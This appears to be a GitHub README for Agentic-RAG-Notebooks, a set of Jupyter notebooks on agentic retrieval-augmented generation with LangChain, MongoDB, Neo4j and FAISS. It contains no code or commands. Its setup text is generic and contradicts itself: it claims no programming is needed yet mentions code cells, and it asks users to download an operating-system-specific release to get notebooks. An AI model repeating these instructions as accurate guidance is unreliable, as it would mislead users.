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πŸ“š Explore advanced Retrieval-Augmented Generation implementations with intelligent agents using LangChain and various vector stores.

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πŸš€ Agentic-RAG-Notebooks - Explore Next-Gen Retrieval Architectures

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πŸ“ Introduction

Welcome to Agentic-RAG-Notebooks! This project allows you to explore cutting-edge agentic Retrieval-Augmented Generation (RAG) architectures and intelligent retrieval pipelines. Designed with everyday users in mind, this notebook-driven approach helps you understand advanced concepts without needing programming skills.

🎯 Key Features

  • User-Friendly Notebooks: Interactive guides to help you understand RAG architectures.
  • Intelligent Retrieval Pipelines: Discover how to enhance data retrieval.
  • Support for Multiple Technologies: Integrate with tools like MongoDB, Neo4j, and FAISS.
  • Generative AI: Learn how to use advanced machine learning models effectively.
  • No Programming Needed: Designed for anyone curious about intelligent systems.

πŸš€ Getting Started

Follow these simple steps to install and run the application on your computer.

πŸ–₯️ System Requirements

  • Operating System: Windows 10/11, macOS, or a recent version of Linux.
  • Memory: At least 8 GB RAM.
  • Disk Space: Approximately 1 GB available space.
  • Software: Ensure you have Jupyter Notebook installed. For installation instructions, visit Jupyter's official site.

πŸ’Ύ Download & Install

  1. Visit the Releases Page: Go to the Releases page to find the latest version.

  2. Select the Appropriate Version: Find the most recent version of the application. Ensure it matches your operating system.

  3. Download: Click on the download link for your platform. Save the file to your desired location on your computer.

  4. Open Jupyter Notebook: After downloading, open Jupyter Notebook on your system.

  5. Locate the Downloaded File: Navigate to the folder where you saved the downloaded file.

  6. Launch the Notebook: Click on the notebook file to open it in your browser. You can now start exploring the content!

πŸ’‘ Usage Instructions

Once you have opened the notebook, follow these guidelines:

  • Read the Instructions: Each notebook contains step-by-step instructions to guide you through various topics.
  • Interactive Features: Use the provided code cells to experiment with different configurations and observe their results.
  • Explore Examples: The notebooks include examples that showcase the capabilities of RAG architectures and intelligent pipelines.

πŸ“Š Understanding the Notebooks

The notebooks are organized into sections:

  1. Introduction to Agentic RAG: An overview of what RAG systems are and how they function.
  2. Setup Instructions: Detailed steps to get everything running correctly.
  3. Advanced Topics: Delve into the specifics of integrating various technologies, including MongoDB and generative models.
  4. Data Retrieval Examples: Hands-on practices to see how the retrieval mechanisms work with real data.

πŸŽ“ Learning Resources

If you want to deepen your understanding, consider these resources:

  • Online Tutorials: Search for video tutorials on RAG and intelligent retrieval systems.
  • Documentation: Read official documentation for technologies like MongoDB, FAISS, and Langchain.
  • Community Forums: Participate in forums like Stack Overflow or dedicated AI discussions where you can ask questions and share knowledge.

πŸ“ž Support

For assistance, you can raise an issue on GitHub. Maintain a clear description of your problem, and we will do our best to assist you.

πŸ”— Additional Links

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Explore the innovative world of retrieval architectures and intelligent systems with Agentic-RAG-Notebooks. Your journey into advanced technology begins here!

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